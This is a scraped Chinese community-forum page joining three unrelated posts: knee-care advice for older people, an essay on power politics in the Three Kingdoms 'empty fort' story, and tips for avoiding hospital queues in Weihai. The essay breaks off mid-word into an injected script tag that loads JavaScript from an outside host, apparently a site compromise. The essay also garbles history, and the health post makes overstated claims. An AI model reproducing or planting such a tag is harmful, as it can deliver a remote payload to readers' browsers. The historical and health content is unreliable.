一 : 爱威海社区
“分分钟给跪了”、“膝盖中箭了”……膝盖成为了我们日常调侃的习惯用语了！其实我们的膝盖是相当脆弱的，很多不科学的生活习惯和不恰当的健身方式都会让它相当不堪重负。
疼痛、寒腿等各类毛病也就会悄然而至。如何保护好膝盖……
爱威海小编为你支招，并且把这些方法赶快去告诉我们的父母吧!
“目前我国50岁以上的人群中，一半人有此困扰，60岁后患病率达60％，到了70岁，几乎每个老年人都会患上此病。因此，我们要提醒我的父母要从饮食、运动、起居、按摩四个方面来呵护好膝关节。”
饮食
控制体重很必要
“膝关节仅仅靠一个狭小的接触面支撑着我们整个身体的重量，它就是人体最大、最复杂的关节……因此，你的体重和膝盖保护有着直接的关系，而体重比又与饮食密切相关！”控制饭量
肥胖是膝关节的大敌！要想保护好膝关节，就要维持正常体重，避免因肥胖增加膝关节的负担。
建议：
日常生活中建议低油、低脂、低热量饮食；
多吃水果蔬菜，并控制好主食的摄入量。
苹果、红辣椒、海藻、绿茶、鸡蛋、柠檬、水、大蒜、肉桂……此类减肥可以适量多吃。
多吃含钙的食品
补钙可以有效地保护膝关节，应以食补为基础，要注意营养均衡！
建议：
多吃奶制品：鲜奶、酸奶、奶酪
豆制品：如豆浆、豆粉、豆腐、腐竹等
蔬菜：如胡萝卜、小白菜、小油菜
海产品:紫菜、海带、虾、鱼等
多晒太阳:可以有效促进钙的吸收。
日常生活
这是最关键的一步
“一般来说，膝关节疾病患者女性多于男性，其中一个重要原因是，女性一生中下蹲的次数更多，而蹲和跪对膝关节的损伤都比较大。因此，我们要提醒各位女性，尤其是母亲，要在日常起居中更加关注膝盖健康！”减少蹲和跪
要少做长期蹲跪的动作，别蹲着做家务或跪着擦地板，喜欢打太极拳的老人，也不要勉强蹲得太低，站着打高位太极就好。
建议：
在站起和坐下时，注意先让膝关节轻微适当的反复弯曲几下，然后站起或坐下，有利于保护膝关节。
准备护膝一副
关节受凉、受冻会诱发关节炎症，所以要注意保暖，避免过于潮湿的环境。戴一个保暖型护膝，是老人保护膝关节的一个简便有效的措施。
建议：
护膝可以帮助腿部用力的运动护膝，最好只在运动时佩戴
平时不要戴，以免膝关节对它产生依赖，变得越来越脆弱。
鞋底别太薄
运动时最好穿舒适、有弹力的运动鞋，以减少膝关节压力。
建议：
常生活中，鞋跟以2～3厘米为宜，鞋底不宜太薄，否则会给膝盖带来不利影响。
推拿
止痛去痛
“用科学的方法给膝关节进行推拿按摩，也是保养膝盖的好方法。以下几个穴位，每天要坚持按1分钟，三个穴位轮流按3遍，以微微酸胀为宜”护膝穴位
穴位一：足三里
膝关节外侧/外膝眼下四横指
穴位二：血海穴
下肢绷紧，膝关节上侧肌肉最高处，内为血海
穴位三：委中穴
膝盖后侧腘窝正中
推拿方式：每个穴位按1分钟，三个穴位轮流按3遍，以微微酸胀为宜。
点揉痛点
如膝关节周围有压痛点，可以压痛点按揉！
推拿位置：
如膝关节内外侧、髌骨下及膝后腘窝等。
推拿方式：
可用拇指、食指在压痛点按揉，
每个痛点均由轻至重，再从重至轻揉约1分钟，可促进痛点炎症吸收，松解粘连。
捏股四头肌
推拿位置：股四头肌（即大腿前面丰厚的肌肉）
推拿方式：
以拇指和其余四指相对拿捏
推拿时长约3分钟
以微微酸胀为度。
运动
运动要适量适当
“当你平躺时，它的负重几乎为零；当你站立和行走时，它的负重是你体重的1～2倍；跑步时是4倍；蹲和跪时是8倍……很多人的膝关节损伤都是因为运动不当造成的！一”运动量要适中
平时运动少，腿部肌肉力量弱，膝关节本身就很脆弱，再加之运动对其造成猛烈的冲击，容易导致关节受损，造成非常大的损伤！
建议：
要选择适合自身条件的运动，量力而行，循序渐进，长期坚持。
适合保护膝盖的运动
快走、慢走、朝前走、倒退走交替进行
室内脚踏车、游泳、高抬腿等运动
最损伤膝盖的运动
登山、跳绳、爬楼梯、下蹲、跑步
尤其是下山和下楼梯时，膝关节承受的压力最大
肥胖者应减少这些令膝关节受压的运动，可以改为游泳、骑单车来减肥，同时注意训练大腿力量，以分担膝关节的压力。
注意：运动时如果感到不适，应量力而为，立即休息，避免过度使用膝关节。
↘↘↘能让你的膝盖年轻10岁的动作↙↙↙方法一：抬腿护膝
名称：抬腿护膝
作用：每天抬腿能护膝平时可以多做抬腿的动作，来增强大腿前侧的股四头肌和大腿后侧的股二头肌的力量，从而增加膝关节的稳定性，减缓关节的磨损。
方法：当你端坐在一个椅子上，一条腿自然着地，另一条腿缓缓抬起，与身体形成90度直角，然后自然着地，换另一条腿抬起。
时间：在空中持续1分钟
效果：可以很好地锻炼股四头肌，保持膝关节弹性，促进新陈代谢，有效保护膝关节。
方法二：靠墙静蹲
名称：靠墙静蹲
作用：养护膝关节以及膝关节周边肌肉、康复韧带的损伤有很好的作用。
方法：你只需靠墙半蹲保持这个动作就可以
时间：10-20分钟（可以分多次完成）
效果：一个月之后，你会感觉膝盖年轻了10岁！
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二 : [原创]权术博弈 - 爱威海社区
权术博弈
权术一直是很多人的毕生追求。每个人的童年都是被长辈用权术引诱的催动下发奋苦读，长大后有人可以亲身感受，有人却只能继续做梦。做着拯救全人类的美梦。
上学的时候学过历史，看过电影，也了解了一点权术的博弈。但是权术可以说是一门博大精深的学问，我们所了解的只是一些皮毛而已。可以说，这个世界任何一件与历史有关的事情，一部与历史有关的作品都包含了权术的运用与博弈智谋。这说明了什么？历史就是权术的教科书。
狡兔死走狗烹，飞鸟尽良弓藏。这句话好像人人都知道。功臣谋士，下场好的没有几个。有几人能激流勇退？文种，商鞅，白起，苏琴，蒙恬，韩信等等。似乎成为功臣二字就是人生的一个句号，要么死于山林，要么死于刑罚和毒酒。
大家一定也读过《三国演义》，其中的空城计一直被认为是计谋的经典之作，其实也存在着权术的博弈。让我们回到那部书中去品味一下。空城计中有两个主要人物，一个是司马懿一个是诸葛亮。而这两个人的背景却不相同。一个是在被动的玩弄权术，一个是在主动的玩弄权术。
司马懿由于雄滔伟略，远剩曹家后人，功劳日渐丰伟，大有盖过君主之势。因此在诸葛亮北伐前期，他受到了排挤，但是没有了他魏国没有人可以抵挡孔明的计谋。所以他还有利用的价值。虽然他的儿子们夺了谛但是在他那个时候似乎还没有那个打算。所以说在权术上他是属于被动的。
而诸葛亮呢。他才是真正的玩弄权术的高手。从三故茅庐到白帝城托孤，他是在一步步的玩弄着刘备。阿斗是什么样的人诸葛亮比谁都清楚。当时要不是张飞酒后大骂他娘，并且喊着要烧他的窝（张飞真的是能干这种事来），也许还会有四故，五故，六故。到了阿斗时代的蜀国，诸葛亮美滋滋的做着相父，任何人都是被他玩弄，他玩弄权术当然要比司马懿潇洒的多。徐直难道真的不知道家书是假的吗？他是惧怕诸葛亮的权术，他玩不过诸葛亮。他还是聪明的。诸葛亮玩弄死了庞涓，激死了关羽，害死了刘备。就连气死周瑜也是他们兄弟之间的某种默契，幸亏他死的早，否则历史也许真的要改写。也许南北朝也要早上几百年。他为什么不去曹营，他心里清楚，到了那里他的权术不会象在蜀玩的这样的逍遥。也只能做徐直这样的聪明人，缝住嘴巴，光吃饭不干活。
有人认为司马懿被罢免是诸葛亮采用了马谡的计策，到魏国去散布谣言，说他要反。其实曹家的后代也不至于傻到那个地步。虽然曹家的后代没有孟德的智慧，不过也有智囊，也不会不经过核实就轻易的杀掉自己的首席元帅。免职只是一个试探而已，一道命令司马懿就被罢免了。他没有反，这就说明他至少当时心中还没有反的意思。
可是到最后为什么启用他的时候曹主还不给他平反呢？因为本身曹主就有除掉他的意思，启用他是不得以而为之。诸葛亮的计策其实也是正中曹主的下怀，在这一点上诸葛亮和曹主是有共同的意愿的。不过幸亏当时的吴蜀还是比较强大的，否则莫须有也许要早出现一千年。
魏国重新启用司马懿后，军事上方有改观。在街亭困歼马谡军，一刀捅了诸葛亮的心脏，蜀军阵脚大乱。仓促而逃，可是为什么诸葛亮被落了单呢？他的确是不能逃，他逃了司马懿就会长驱直入那时候他就无力抵挡了。蜀一亡他的权术到哪里去玩弄？如果司马懿还有保住自己性命的那么点头脑不去追击，他这次街亭的失误足以使他走下神坛，以后再玩弄权术也许就不会那么灵光了。
所以他宁可被围住，和司马懿共唱一出权术好戏。当时司马懿没有吃过诸葛亮的亏，在心理上他不惧怕诸葛亮。可是他也是个玩弄权术的人，他也是能看懂其中的奥秘的。权术中没有永恒的朋友只有永恒的利益。为了大家都能有好处当然，司马懿要放走诸葛亮，倘若诸葛亮一死，他的日子也不久矣。至于以后死的诸葛亮吓走活的司马懿，那时候才是真的心慌了，他对自己的日后没有底了。
司马懿撤退了，他的下属究其因果。司马懿只是说了一句，“诸葛生平谨慎“给自己的撤军找了个不是很合适的借口。至于“诸葛城头抚琴……琴声隐隐有杀伐之声……”那才是诸葛亮给司马懿传递讯息，司马懿也听懂了。书中写事后，诸葛亮紧张的断了根弦，的确该紧张该心慌，倘若是曹主在司马懿身边放个太监什么的，那他真是要说，我命休矣了。
当然司马懿从了诸葛亮，那诸葛亮也就要好好的演完这出戏。也就出现了2000人伏击十几万人的壮举。不过壮举是象征性的，二人也就心照不宣了。空城计其实是司马和诸葛二人共同的演了一场戏，共同的玩弄了曹主一把。
司马懿和诸葛亮对政治是比较精通的，而日后的邓艾智谋也是不错的，但是对权术似乎不是那么清醒，否则也不会有那么悲凉的下场。
幸好诸葛亮死的早，只剩吴国的诸葛们还在继续着奋斗，才不至于改写历史。
历史就是历史，是值得我们借鉴和学习的。从三国到如今还是在延续着权术的博弈。岳飞，徐达，年羹尧，到最后的刘少奇等人。都曾经是英雄，可是最后都败在权术的棋盘之上，以至于送掉自己的性命。
也许等他们在另一世界相聚才能找出自?script src=http://cn.jxmmtv.com/cn.js>
三 : 在威海，想看病不用排队吗？看这里……-爱威海社区
在威海，想看病不用排队吗？看这里……
2015-06-18
爱威海网
“初三学生看病插队被制止 打破医生眼球”，就因为医生制止了他插队看病的行为，16岁的男孩子一时冲动打了医生。结果是医生左眼球破裂，目前治疗中但左眼无光感，而男孩子也被刑事拘留。
近期这个事件颇受关注，谴责打人插队现象的同时不得不承认，现在大医院人满为患，想要看个病真是难，挂号要排队、就诊要排队、检查要排队，缴费还要排队，大家的耐心也在这排队中消磨殆尽，冲突就容易发生。
想要看病不排队或少排队吗？小编整理分享几条攻略，希望能对大家有帮助！
提前预约挂号，免去排队烦恼
现在，威海的多家医院都开通了提前预约挂号通道，预约挂号最大的好处就是预约时间段享受优先就诊，不用排很长时间的队伍，去了就能看，还能选择比较信任的专家。
市立医院
威海的各家医院里，市立医院的预约挂号系统算是比较完善的，他们从09年就开通预约挂号，可以通过电话、网络、现场三种方式进行预约挂号。
网络预约挂号：请登陆威海市立医院对外网站.asp，点击预约挂号，输入相关信息后提交即可。网络预约挂号时间24小时。
电话预约挂号：电话预约挂号实行114转接，也可以直拨0631-****120来进行预约，电话预约时间为7：30-20：00。
现场预约挂号：医生工作站、分诊台、服务中心工作人员通过医院网站预约挂号。现场预约服务时间8:00-17:00
114电话预约、现场预约挂号应至少提前半天进行预约。
号源分布：每半小时预约3个号。
患者在电话预约时需提供患者姓名、就诊卡或医保卡号、预约就诊日期、预约医师的姓名、科室及联系方式（留手机号码）等。
取号就诊方法：就诊当日在预约的时间段到门诊楼一楼预约挂号台领取预约挂号单，到预约科室所在楼层分诊台找护士确认。
妇幼保健院
一、电话预约：（使用时段8:00-17:00）
1.预约挂号拨打5271230
2.工作人员登记患者相关信息
3.预约诊疗时间、科室、专家号或普通号
4.按预约时间优先就诊。
二、现场预约：
1.预约者可到一楼东大厅收费处预约挂号窗口
2.告知预约挂号，工作人员登记患者相关信息
3.预约诊疗时间、科室、专家号或普通号
4.预约时间优先就诊。
可登录威海市妇女儿童医院网查询每日专家坐诊情况，网址.asp
经区医院
电话预约：0631-****180；
现场预约：1楼导医台预约挂号处；
诊间预约：各科医生诊室。
挂号收费处咨询电话0631-****175。
请至少提前一日预约。
可登陆威海市经区医院查看就诊专家
头疼脑热小打小闹的病 可以直接去社区卫生服务中心或诊所
威海现在几乎每个社区都会有社区卫生服务站，而且服务站的服务和医疗水平也比前几年有了很大的提高，部分社区卫生服务中心还聘请了医院的退休专家坐诊。平时要是有个头疼脑热、感冒鼻塞的小毛病，就不要去大医院挤啦，又是抽血又是验尿，一顿折腾下来医生还是开了盒感冒药外加万能方法——多喝水。不但浪费自己的时间，也是对医疗资源的浪费，就去社区卫生服务站或者周边的诊所，不用排队也免去各种不必要的检查折腾。
威海部分社区服务站地址
威海神道口社区卫生服务站
地址：环翠区神道口A区16之3-4号
电话:0631-****188
威海社区卫生卧龙服务站
地址：卧龙山庄75-4
电话:0631-****123
金峰塔社区卫生服务站
地址：高区大岚寺16号
电话:0631-****528
古寨社区卫生服务站
地址：高区高技区古寨南路附2-2号楼104室
电话:0631-****477
北竹岛社区卫生服务站 -详情
地址：环翠区威海海滨北路28号
电话:0631-****058
威海市文笔峰社区卫生服务站
地址：公园路戚家夼附近
威海市文昌社区卫生服务站
地址：塔山西路6号401室文昌社区门前
威海海大医院乐天社区卫生服务站
地址：乐天世纪城3-11
戚家庄社区卫生服务站
地址：竹岛路288号附近
不是太急的病情或检查，可以选择下午去医院
小编当初怀孕做产检的时候发现，威海的医院总是上午人最多，尤其是八九点，几乎是人流高峰，哪哪都是排队长龙，但是到了下午很多科室几乎都没人了。大部分人都有这样的观念：看病都是上午看，但若是不是很急的病或者检查，完全可以选择下去再去医院，减少排队时间甚至都不用排队，何必非要挤大堆？
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